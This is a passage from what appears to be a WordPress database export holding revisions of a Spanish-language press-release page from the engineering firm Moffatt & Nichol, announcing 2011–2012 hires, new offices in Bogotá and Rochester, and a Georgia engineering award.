la calidad del agua, diseño de canales de navegación, dragado y estudios de factibilidad económica y técnica en Colombia y a nivel mundial.\r\n\r\nEl ingeniero Noguera se une a Moffatt & Nichol después de trabajar más de 30 años con HMV Ingenieros, una compañía colombiana, donde tuvo un papel importante como Representante legal e Ingeniero Director General desde 2002, supervisando proyectos en los sectores privado y público. La experiencia de trabajo anterior del ingeniero Noguera con Moffatt & Nichol incluyó el diseño del acceso al canal de navegación al Puerto de Buenaventura, Colombia, donde fue un factor clave en los logros de la empresa en Colombia.\r\n\r\nSu experiencia profesional también incluye la evaluación de los impactos medioambientales en proyectos de desarrollo. Habiendo trabajado como consultor medioambiental, sus conocimientos especializados incluyen estudios de la calidad del aire y el impacto medioambiental de desarrollos industriales, el desarrollo y control durante la ejecución de estudios sobre la evaluación de riesgos naturales, el diseño de canales de navegación, sistemas de atraque y dragas.\r\n\r\nEl ingeniero Noguera tiene un diploma de ingeniería civil de la Universidad La Gran Colombia y una especialización en Evaluación del impacto medioambiental de la Universidad Jorge Tadeo Lozano – Tuffs University, en Bogotá, Colombia.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"8\">Helga Junold encabezará Grupo comercial global con sede en Nueva York</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold.jpg\"><img class=\"alignnone size-medium wp-image-2469\" title=\"Helga Junold\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de noviembre, 2011 — Moffatt & Nichol se complace en dar la bienvenida a Helga Junold, ingeniera civil, como directora de la unidad de negocios para la unidad de servicios comerciales y consultivos con base en Nueva York. La ingeniera Junold se une a Moffatt & Nichol después de trabajar más de 20 años con Halcrow, donde puso en marcha la presencia estadounidense de la empresa. Dirigió e incrementó una importante y exitosa especialidad consultiva de transacciones estratégicas en las áreas de puertos, carga, logística y asociaciones público-privadas, reuniendo competencias en ingeniería civil, financiamiento del desarrollo de infraestructura y administración general.\r\n\r\nLa ingeniera Junold ha trabajado como Gerente de proyectos en el Reino Unido, Estados Unidos y América Latina. Trabajó con prestamistas y garantes, incluyendo el banco Export-Import de Estados Unidos y el Departamento de garantía de créditos a la exportación del Reino Unido, y dirigió importantes iniciativas de desarrollo y financiamiento de infraestructura en el Reino Unido, Argentina y Venezuela.\r\n\r\nTambién ha dado apoyo a importantes clientes, entre los que podemos incluir la Autoridad portuaria de Nueva York y Nueva Jersey, el Departamento de Transporte de Texas, la Corporación de Desarrollo Económico de Nueva York, el Departamento del Tesoro de Nueva Jersey, y varios desarrolladores de infraestructura del sector privado. Junold es una ingeniera colegiada en el Reino Unido y obtuvo su diploma de maestría de Hidráulica en ingeniería civil en la Universidad de Salford, Reino Unido.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"9\">Moffatt & Nichol inaugura una oficina en Eastern Great Lakes</h3>\r\nLONG BEACH, CA, 8 de agosto, 2011— Moffatt & Nichol se complace en anunciar la expansión de nuestra empresa con la incorporación de la oficina de Eastern Great Lakes, ubicada en Rochester, Nueva York. Dirigida por John Schirmer, Gerente principal de proyectos, la oficina de Eastern Great Lakes se concentrará en proporcionar soluciones innovadoras a puertos, frentes de mar urbanos, puertos deportivos, transporte y movimiento de mercancías, así como a las industrias marítimas relacionadas. Durante los tres últimos años, Moffatt & Nichol ha apoyado el área con varios proyectos relacionados con el planeamiento, diseño e ingeniería del frente costero. Ubicada en la parte oeste de Nueva York, con un práctico acceso a Canadá y a la región de los Grandes Lagos, la nueva oficina servirá como un centro crítico para cubrir las necesidades de nuestros clientes de todo el mundo.\r\n\r\nMoffatt & Nichol\r\n250 Mill Street, Suite 307\r\nRochester, NY 14614\r\nP: 585-641-7128\r\nE: <a href=\"mailto:jschirmer@moffattnichol.com\">jschirmer@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"10\">Richard Rocktoff se une como Gerente Principal de proyectos de transporte</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo.jpg\"><img class=\"alignnone size-medium wp-image-2470\" title=\"Rocktoff_photo\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo-239x300.jpg\" alt=\"\" width=\"239\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 25 de julio, 2010—Richard Rocktoff se une al equipo de transporte de Moffatt & Nichol como Gerente Principal de proyectos de transporte. Con más de 20 años de experiencia en proyectos de transporte, el ingeniero Rocktoff aporta su experiencia profesional y su singulares capacidades en complejas geometrías de diseño horizontal y vertical, diseño de intercambios e intersecciones, servicios post-diseño y proyectos de entrega alternativa a la empresa.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero Rocktoff fue responsable de varios de los mayores proyectos de entrega alternativa del Departamento de Transporte de Florida (FDOT, por sus siglas en inglés) en varios distritos del FDOT. Anteriormente trabajó como Subgerente de diseño en la asociación público-privada para la reconstrucción de la carretera interestatal I-595 del distrito cuatro del FDOT. Coordinó los esfuerzos de los diferentes equipos de diseño para terminar un diseño de dieciocho meses que incluyó diez intercambios sobre 19 km de autopista interestatal. El proyecto P3 de $1200 millones también introdujo tres carriles expresos reversibles y con peaje dentro del derecho de paso existente.\r\n\r\nComo ingeniero de proyecto del diseño y construcción de la carretera US 1 y del puente Jewfish Creek, el ingeniero Rocktoff supervisó el diseño de la reconstrucción de 11,2 km de la carretera US 1, incluido el reemplazo del puente de báscula existente desde Key Largo hasta Florida continental por un puente de alto nivel de 2,4 km y la adición de dos nuevos intercambios. También fue el ingeniero colegiado responsable para el proyecto del diseño y la construcción de la carretera interestatal I-4 y manejó el diseño de la calzada en la reconstrucción del intercambio US 27 y del ensanchamiento y revestimiento de 14,4 km de la carretera I-4 a través del Green Swamp.\r\n\r\nEl ingeniero Rocktoff tiene certificación FDOT en Mantenimiento avanzado de diseño de tráfico y tiene gran experiencia en las aplicaciones de software Geopak y MicroStation. Tiene un diploma de MBA de la Universidad del Sur de Florida y un diploma de pregrado de ingeniería civil de la Universidad de Florida.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"11\">Moffatt & Nichol se expande en América Latina con nueva oficina en Colombia</h3>\r\nLONG BEACH, CA, 18 de julio, 2011—Moffatt & Nichol continúa su expansión en América Latina con la creación de una oficina en Bogotá, Colombia. Aunque Moffatt & Nichol ha estado activo durante un largo tiempo en Colombia, el inicio de Moffatt & Nichol Colombia S.A.S. marca el sincero compromiso de la empresa con una presencia a largo plazo en el país para apoyar la continuada modernización de la infraestructura marítima y de transporte de Colombia.\r\n\r\nMoffatt &amp; Nichol\r\nAv. Cra. 9, No. 113-52, Of. 1201\r\nTorre Unidas 2\r\n\r\nBogotá D.C., Colombia\r\nP: +57 313 373 5350\r\nE: <a href=\"mailto:dames@moffattnichol.com\">dames@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"12\">Proyecto de GPA de Moffatt & Nichol gana premio de ingeniería de Georgia</h3>\r\nSAVANNAH, GA, 1 de abril, 2011— Georgia Engineering Alliance confirió a Moffatt & Nichol un Premio de honor en Excelencia de ingeniería por el proyecto del corredor Cross Terminal Road & Bridge. Como parte de un contrato en marcha, Moffatt & Nichol se encargó del planeamiento, diseño y apoyo de construcción para el nuevo corredor “Cross Terminal Road” de 3,2 km a un costo de $6,6 millones, que proporciona un acceso directo desde el extremo norte de la terminal al extremo sur.\r\n\r\n“Creo que este proyecto puede ser el que tenga el mayor impacto en la productividad y seguridad de cualquier proyecto de infraestructura en la terminal de Garden City desde su conversión a una terminal de contenedores”, comentó el ingeniero Wilson Tillotson, Director principal de ingeniería y mantenimiento de instalaciones de la Autoridad Portuaria de Georgia.\r\n\r\nEl Plan para la Terminal de Garden City, FOCUS 2015, de la Autoridad Portuaria de Georgia, incluyó la calzada de un nuevo corredor con cinco carriles de ancho, dos carriles en cada dirección y un carril de giro. El proyecto incluyó la instalación de casi 3,2 km de calzada de concreto asfáltico a través de la terminal, lo que mejoró la circulación en las congestionadas intersecciones, además de haber sido construido sin interrumpir las operaciones de la terminal.\r\n\r\nMoffatt & Nichol prestó soporte a tiempo completo durante varias etapas de la construcción: demolición, reubicación de equipos de servicios públicos, nivelación, construcción del puente, pavimentación, pintado de franjas indicadoras, señalización y control de tráfico, a fin de minimizar el impacto en las operaciones de la terminal. La construcción de Cross Terminal Road fue terminada sin prácticamente causar impacto negativo alguno sobre las operaciones de la terminal, por debajo del presupuesto y dos semanas antes de lo programado.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>','Comunicados de prensa-2011','','inherit','open','open','','1399-revision-5','','','2012-08-29 13:07:15','2012-08-29 13:07:15','',1399,'http://moffattnichol.com/spanish/1399-revision-5/',0,'revision','',0),(2607,1,'2012-08-29 13:07:41','2012-08-29 13:07:41','<div class=\"content_faq\">\r\n<h1>press releases</h1>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"1\">Shaun McFarlane se une a la empresa para dirigir las operaciones en Alaska</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\"><img title=\"Shaun McFarlane\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida al ingeniero Shaun McFarlane, quien se integra a Moffatt & Nichol con 23 años de variada experiencia en ingeniería de frentes costeros obtenida en muchos proyectos en Alaska y a lo largo de la costa oeste de los Estados Unidos.\r\n\r\nLa experiencia del ingeniero McFarlane incluye proyectos marítimos y costeros nacionales e internacionales para industrias privadas y públicas y para agencias gubernamentales federales, estatales y municipales. Sus antecedentes como gerente de proyecto y como ingeniero jefe/principal de frentes costeros se relacionan con una gama de servicios, desde la selección del sitio hasta el planeamiento conceptual y la gestión de autorizaciones, y desde el diseño final hasta la gestión de la construcción. Sus antecedentes y su experiencia se ajustan perfectamente a su función como Director de la Unidad de Negocios de la oficina de Moffatt & Nichol en Anchorage. Él se desempeñará como el representante de la empresa en Alaska y trabajará con importantes líderes del sector y clientes para brindar la renombrada cartera de servicios de la compañía a algunos de los climas marinos más desafiantes y ambientes más sensibles en el mundo.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"2\">Catherine Fritter se une a Moffatt & Nichol para dirigir la oficina de Vancouver</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\"><img title=\"Catherine Fritter\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\" alt=\"\" width=\"214\" height=\"240\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida a la ingeniera Catherine Fritter, como la Directora de la Unidad de Negocios de la empresa en la oficina de Vancouver, Columbia Británica. Antes de unirse a Moffatt & Nichol, la ingeniera Fritter trabajó con Ausenco Sandwell, donde se desempeñó como gerente del Departamento de Automatización y Electricidad.\r\n\r\nLa ingeniera Fritter tiene una gran experiencia en la gerencia de departamentos y proyectos, planeamiento comercial y estratégico y administración de cuentas de clientes. Su experiencia en liderazgo y sus talentos técnicos serán un valioso aporte para el equipo de la empresa en Vancouver, donde dirigirá un grupo de ingenieros profesionales, gerentes de proyectos y expertos en frentes costeros.\r\n\r\nLa ingeniera Fritter fue nombrada recientemente al Consejo de directores de ACEC y presta servicios como directora designada para el capítulo de Columbia Británica de la organización. Ella es ingeniera profesional en Canadá y recibió su diploma de pregrado en ingeniería eléctrica en la Universidad de Columbia Británica.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"3\">Richard Steinke dirigirá la práctica portuaria de Moffatt & Nichol</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010.jpg\"><img title=\"Steinke Final 010\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010-214x300.jpg\" alt=\"\" width=\"214\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de mayo, 2012— Moffatt & Nichol anunció hoy que Richard D. Steinke, anterior Director Ejecutivo del Puerto de Long Beach, se ha unido a la empresa como Jefe de Práctica Portuaria. En esta función, sus antecedentes y su experiencia fortalecerán la presencia y reputación de la empresa como el líder mundial en el planeamiento y diseño de terminales marítimos.\r\n\r\n“Dick aporta una increíble y diversa experiencia y conocimiento del sector, junto con el desarrollo, la gestión y la implementación de iniciativas estratégicas que afectan la operación de las instalaciones marinas. Nos complace sobremanera contar con tal experiencia para apoyar el crecimiento estratégico de Moffatt & Nichol y para proporcionar valor a nuestros clientes”, dijo el Presidente de la compañía, Eric Nichol.\r\n\r\nDespués de 22 años de trabajo en el Puerto de Long Beach, Steinke se retiró de su cargo de 14 años como Director Ejecutivo en 2011, dejando un legado de innovación. Mientras estuvo a su cargo, el Puerto de Long Beach aseguró su posición competitiva entre los primeros puertos del mundo, se destacó como líder en seguridad portuaria después del atentado del 11 de septiembre, y fue pionero en la política de puerto ecológico de 2005 y su premiado programa \"Camiones Verdes\". Experto en desarrollar sociedades de colaboración, Steinke guió al puerto en la obtención de la aprobación para lanzar el trascendental proyecto de redesarrollo del Middle Harbor del puerto ($1000 millones), y el proyecto de reemplazo del puente Gerald Desmond ($950 millones).\r\n\r\n“Es emocionante unirse a una empresa con una reputación tan extraordinaria. Esta es una gran oportunidad de participar en los futuros cometidos de Moffatt & Nichol, a medida que la compañía se proyecta sobre su largo historial de éxitos y expande su posición global,” señaló Dick Steinke.\r\nLíder en la industria portuaria, Steinke ha representado la U.S. West Coast Collaboration, una sociedad de los puertos de la costa oeste y los principales ferrocarriles del oeste, y se ha desempeñado como Presidente de la Asociación Americana de Autoridades Portuarias, una alianza de más de 150 autoridades portuarias de los Estados Unidos, Canadá, el Caribe y América Latina.\r\n\r\nAntes de unirse al Puerto de Long Beach, Steinke trabajó cinco años como funcionario responsable de los activos aeroportuarios en el Aeropuerto internacional de Stapleton en su nativo Denver, Colorado. Se graduó en el Chadron State College de Nebraska y realizó estudios de postgrado en la Universidad de Colorado.\r\n\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"4\">Mark Faeth se une a la oficina de Nueva York de Moffatt & Nichol como Vicepresidente</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth.jpg\"><img class=\"alignnone size-medium wp-image-2465\" title=\"Mark Faeth\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth-200x300.jpg\" alt=\"\" width=\"200\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de marzo, 2012— Moffatt & Nichol le da la bienvenida al ingeniero Mark Faeth, como Vicepresidente. Radicado en las instalaciones de la empresa en Nueva York, él se une a Moffatt & Nichol con 33 años de variada experiencia en ingeniería marítima y gerencia de proyectos. En su nueva función, el ingeniero Faeth ampliará la presencia marítima de la empresa en apoyo de las prácticas de puertos, energía y frentes de mar urbanos en toda la compañía.\r\n\r\nAnteriormente se desempeñó como Vicepresidente Principal de Halcrow Inc., en donde sus responsabilidades incluían la supervisión y dirección de proyectos importantes en su unidad de negocios marítimos, y también trabajó como Director de Operaciones y Director Comercial para sus operaciones en los EE. UU. Antes de su adquisición por Halcrow en 2005, él fue Socio Principal de la empresa Han-Padron Associates.\r\n\r\nEl ingeniero Faeth ha dado soporte a clientes importantes, entre ellos la Marina de EE. UU., Abu Dhabi Ports Company y ExxonMobil. Tiene un diploma de postgrado en ingeniería estructural del Instituto Politécnico de la Universidad de Nueva York, y entre sus áreas específicas de experiencia profesional figuran el análisis estructural y el diseño de instalaciones marítimas en áreas cercanas a la costa y costa afuera, tecnología de amarre y defensas, y gerencia de proyectos.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"5\">Jim Mccluskie se une a Moffatt & Nichol como Director de la oficina de Long Beach</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie.jpg\"><img class=\"alignnone size-medium wp-image-2466\" title=\"Jim McCluskie\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de marzo, 2012—Moffatt & Nichol se complace en dar la bienvenida a Jim McCluskie como nuevo Director de la Unidad de Negocios de la oficina de Long Beach, California. El ingeniero McCluskie aporta cerca de 30 años de experiencia ejecutiva en el desarrollo de grandes proyectos de infraestructura, con una concentración en los sectores privado y público al tiempo que mantiene gran atención en el desarrollo de negocios y de clientes.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero McCluskie se desempeñó como Vicepresidente para Engineering & Environmental Consultants, Inc. donde era responsable del desarrollo del plan anual de negocios, de establecer y mantener una presencia en la comunidad y de identificar oportunidades de desarrollo de negocios, además de negociaciones efectivas de contratos, gestión de riesgos y ventas operativas.\r\n\r\nBajo su liderazgo con PBS&J, el ingeniero McCluskie se desempeñó como Vicepresidente Principal y estuvo a cargo de 800 empleados en más de 60 oficinas en Estados Unidos. Su principal experiencia de proyectos incluye el diseño y la gestión del programa para el parque temático de Abu Dhabi en una isla de cerca de 1020 hectáreas con 24 atracciones, así como la evaluación medioambiental y el diseño para el proyecto de transmisión de 3000 megavatios para el parque eólico de Anschutz en Wyoming, por $3 mil millones. Con amplia experiencia en el desarrollo de negocios, la gerencia de operaciones y la ejecución de proyectos, el ingeniero McCluskie aporta su enfoque práctico de liderazgo y su pensamiento estratégico a la empresa y a su equipo.\r\n\r\nEl ingeniero McCluskie es graduado de Lake Superior State, Michigan donde recibió su diploma de pregrado en ingeniería civil.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"6\">Gary Antonucci se une a Moffatt & Nichol como Ingeniero principal de puentes</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched.jpg\"><img class=\"alignnone size-medium wp-image-2467\" title=\"GAntonucci headshot-retouched\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched-231x300.jpg\" alt=\"\" width=\"231\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol se complace en darle la bienvenida a Gary Antonucci como ingeniero principal de puentes para la oficina de Walnut Creek de la empresa. El ingeniero Antonucci aporta a Moffatt & Nichol sus más de 30 años de experiencia en ingeniería, incluyendo más de 15 años con TY Lin International en el planeamiento y diseño de instalaciones de transporte que abarcan carreteras urbanas e interestatales y sistemas ferroviarios.\r\n\r\nSu experiencia incluye el diseño de puentes y estructuras de transporte, trenes de pasajeros de servicio pesado y ligero, senderos para peatones/bicicletas, sistemas de abastecimiento de agua e instalaciones de control de inundaciones. Durante los últimos 15 años, ha estado enfocado específicamente en la gerencia de proyectos de tareas complejas que requerían grandes equipos multidisciplinarios. Su trabajo ha incluido más de 200 proyectos de puentes individuales. Con una gran experiencia en el diseño de puentes para Caltrans (Departamento de Transporte de California), ha completado muchos proyectos de autopistas estatales que necesitaban la revisión y aprobación de Caltrans.\r\n\r\nLa experiencia del ingeniero Antonucci también incluye proyectos del Programa de Puentes Carreteros (HBP, por sus siglas en inglés) federal y ha realizado la gerencia de proyecto para varias obras mayores con este programa, con costos individuales de proyectos superiores a $20 millones. Ha trabajado como Gerente de Proyectos o Ingeniero Estructural principal para más de 20 pasos a desnivel de carreteras/vías férreas. Su experiencia en estos proyectos ha incluido trabajar como enlace con el personal del ferrocarril, así como preparar acuerdos con la Comisión de Servicios Públicos (PUC, por sus siglas en inglés) y ferroviarios. El señor Antonucci es ingeniero profesional y recibió su diploma de pregrado en ingeniería civil de la Universidad Politécnica del Estado de California, Pomona.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"7\">Carlos Noguera se une a la empresa como Gerente General para la oficina de Colombia</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2.jpg\"><img class=\"alignnone size-medium wp-image-2468\" title=\"Noguera, Carlos 2\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol da la bienvenida a la empresa a Carlos Noguera como Gerente General de la oficina de Colombia S.A.S. El ingeniero Noguera aporta más de 30 años de experiencia y un profundo conocimiento de la industria de la ingeniería de Colombia, específicamente en las áreas de consultoría medioambiental, evaluación de la calidad del agua, diseño de canales de navegación, dragado y estudios de factibilidad económica y técnica en Colombia y a nivel mundial.\r\n\r\nEl ingeniero Noguera se une a Moffatt & Nichol después de trabajar más de 30 años con HMV Ingenieros, una compañía colombiana, donde tuvo un papel importante como Representante legal e Ingeniero Director General desde 2002, supervisando proyectos en los sectores privado y público. La experiencia de trabajo anterior del ingeniero Noguera con Moffatt & Nichol incluyó el diseño del acceso al canal de navegación al Puerto de Buenaventura, Colombia, donde fue un factor clave en los logros de la empresa en Colombia.\r\n\r\nSu experiencia profesional también incluye la evaluación de los impactos medioambientales en proyectos de desarrollo. Habiendo trabajado como consultor medioambiental, sus conocimientos especializados incluyen estudios de la calidad del aire y el impacto medioambiental de desarrollos industriales, el desarrollo y control durante la ejecución de estudios sobre la evaluación de riesgos naturales, el diseño de canales de navegación, sistemas de atraque y dragas.\r\n\r\nEl ingeniero Noguera tiene un diploma de ingeniería civil de la Universidad La Gran Colombia y una especialización en Evaluación del impacto medioambiental de la Universidad Jorge Tadeo Lozano – Tuffs University, en Bogotá, Colombia.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"8\">Helga Junold encabezará Grupo comercial global con sede en Nueva York</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold.jpg\"><img class=\"alignnone size-medium wp-image-2469\" title=\"Helga Junold\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de noviembre, 2011 — Moffatt & Nichol se complace en dar la bienvenida a Helga Junold, ingeniera civil, como directora de la unidad de negocios para la unidad de servicios comerciales y consultivos con base en Nueva York. La ingeniera Junold se une a Moffatt & Nichol después de trabajar más de 20 años con Halcrow, donde puso en marcha la presencia estadounidense de la empresa. Dirigió e incrementó una importante y exitosa especialidad consultiva de transacciones estratégicas en las áreas de puertos, carga, logística y asociaciones público-privadas, reuniendo competencias en ingeniería civil, financiamiento del desarrollo de infraestructura y administración general.\r\n\r\nLa ingeniera Junold ha trabajado como Gerente de proyectos en el Reino Unido, Estados Unidos y América Latina. Trabajó con prestamistas y garantes, incluyendo el banco Export-Import de Estados Unidos y el Departamento de garantía de créditos a la exportación del Reino Unido, y dirigió importantes iniciativas de desarrollo y financiamiento de infraestructura en el Reino Unido, Argentina y Venezuela.\r\n\r\nTambién ha dado apoyo a importantes clientes, entre los que podemos incluir la Autoridad portuaria de Nueva York y Nueva Jersey, el Departamento de Transporte de Texas, la Corporación de Desarrollo Económico de Nueva York, el Departamento del Tesoro de Nueva Jersey, y varios desarrolladores de infraestructura del sector privado. Junold es una ingeniera colegiada en el Reino Unido y obtuvo su diploma de maestría de Hidráulica en ingeniería civil en la Universidad de Salford, Reino Unido.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"9\">Moffatt & Nichol inaugura una oficina en Eastern Great Lakes</h3>\r\nLONG BEACH, CA, 8 de agosto, 2011— Moffatt & Nichol se complace en anunciar la expansión de nuestra empresa con la incorporación de la oficina de Eastern Great Lakes, ubicada en Rochester, Nueva York. Dirigida por John Schirmer, Gerente principal de proyectos, la oficina de Eastern Great Lakes se concentrará en proporcionar soluciones innovadoras a puertos, frentes de mar urbanos, puertos deportivos, transporte y movimiento de mercancías, así como a las industrias marítimas relacionadas. Durante los tres últimos años, Moffatt & Nichol ha apoyado el área con varios proyectos relacionados con el planeamiento, diseño e ingeniería del frente costero. Ubicada en la parte oeste de Nueva York, con un práctico acceso a Canadá y a la región de los Grandes Lagos, la nueva oficina servirá como un centro crítico para cubrir las necesidades de nuestros clientes de todo el mundo.\r\n\r\nMoffatt & Nichol\r\n250 Mill Street, Suite 307\r\nRochester, NY 14614\r\nP: 585-641-7128\r\nE: <a href=\"mailto:jschirmer@moffattnichol.com\">jschirmer@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"10\">Richard Rocktoff se une como Gerente Principal de proyectos de transporte</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo.jpg\"><img class=\"alignnone size-medium wp-image-2470\" title=\"Rocktoff_photo\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo-239x300.jpg\" alt=\"\" width=\"239\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 25 de julio, 2010—Richard Rocktoff se une al equipo de transporte de Moffatt & Nichol como Gerente Principal de proyectos de transporte. Con más de 20 años de experiencia en proyectos de transporte, el ingeniero Rocktoff aporta su experiencia profesional y su singulares capacidades en complejas geometrías de diseño horizontal y vertical, diseño de intercambios e intersecciones, servicios post-diseño y proyectos de entrega alternativa a la empresa.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero Rocktoff fue responsable de varios de los mayores proyectos de entrega alternativa del Departamento de Transporte de Florida (FDOT, por sus siglas en inglés) en varios distritos del FDOT. Anteriormente trabajó como Subgerente de diseño en la asociación público-privada para la reconstrucción de la carretera interestatal I-595 del distrito cuatro del FDOT. Coordinó los esfuerzos de los diferentes equipos de diseño para terminar un diseño de dieciocho meses que incluyó diez intercambios sobre 19 km de autopista interestatal. El proyecto P3 de $1200 millones también introdujo tres carriles expresos reversibles y con peaje dentro del derecho de paso existente.\r\n\r\nComo ingeniero de proyecto del diseño y construcción de la carretera US 1 y del puente Jewfish Creek, el ingeniero Rocktoff supervisó el diseño de la reconstrucción de 11,2 km de la carretera US 1, incluido el reemplazo del puente de báscula existente desde Key Largo hasta Florida continental por un puente de alto nivel de 2,4 km y la adición de dos nuevos intercambios. También fue el ingeniero colegiado responsable para el proyecto del diseño y la construcción de la carretera interestatal I-4 y manejó el diseño de la calzada en la reconstrucción del intercambio US 27 y del ensanchamiento y revestimiento de 14,4 km de la carretera I-4 a través del Green Swamp.\r\n\r\nEl ingeniero Rocktoff tiene certificación FDOT en Mantenimiento avanzado de diseño de tráfico y tiene gran experiencia en las aplicaciones de software Geopak y MicroStation. Tiene un diploma de MBA de la Universidad del Sur de Florida y un diploma de pregrado de ingeniería civil de la Universidad de Florida.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"11\">Moffatt & Nichol se expande en América Latina con nueva oficina en Colombia</h3>\r\nLONG BEACH, CA, 18 de julio, 2011—Moffatt & Nichol continúa su expansión en América Latina con la creación de una oficina en Bogotá, Colombia. Aunque Moffatt & Nichol ha estado activo durante un largo tiempo en Colombia, el inicio de Moffatt & Nichol Colombia S.A.S. marca el sincero compromiso de la empresa con una presencia a largo plazo en el país para apoyar la continuada modernización de la infraestructura marítima y de transporte de Colombia.\r\n\r\nMoffatt &amp; 